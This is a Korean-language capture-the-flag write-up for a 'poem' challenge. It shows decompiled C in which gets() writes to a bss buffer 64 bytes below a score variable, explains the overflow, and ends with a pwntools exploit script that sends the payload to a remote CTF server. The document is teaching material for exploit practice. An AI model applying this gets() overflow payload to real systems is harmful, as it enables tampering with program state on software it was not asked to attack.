// Main Function
int __cdecl __noreturn main(int argc, const char **argv, const char **envp)
{
setvbuf(_bss_start, 0LL, 2, 0LL);
puts(s);
while ( 1 )
{
get_poem();
get_author();
rate_poem();
if ( score == 1000000 )
break;
puts(asc_400D78);
}
reward();
}
// get_author
__int64 get_author()
{
printf(&byte_400C38);
return gets(&unk_6024A0);
}
보호 기법 볼 필요도 없다. main함수에서 3개의 함수를 구동시키고 분기문으로 score = 1000000이 되면 flag를 획득할 수 있다.
정상적인 방법으로는 score를 목표만큼 만들 수 없다. get_author 함수를 보면 특이하게 gets함수의 인자가 6024A0이다.
사용자의 입력값이 들어가는 부분이므로 bss영역에 넣어지겠거니 생각하여 bss 범위를 살펴봤다.
그리고 ida에서 score를 더블클릭하니 dword_6024E0임을 확인했다.
gets함수를 통해 입력하는 인자의 bss주소는 6024A0, score 변수의 주소는 6024E0이다. 두 주소 차이가 얼마 안난다. 또한 gets함수로 원하는 바이트만큼 넣을 수 있다.
우리는 gets함수를 통해 두 변수의 주소 차이만큼을 채우고, score 변수 주소로 넘어가 1000000을 넣어주면 된다.
Exploit Code
from pwn import *
p = remote('ctf.j0n9hyun.xyz', 3012)
payload = 'A' * 64
payload += p64(1000000)
p.recvuntil('> ')
p.sendline("John")
p.recvuntil('> ')
p.sendline(payload)
p.interactive(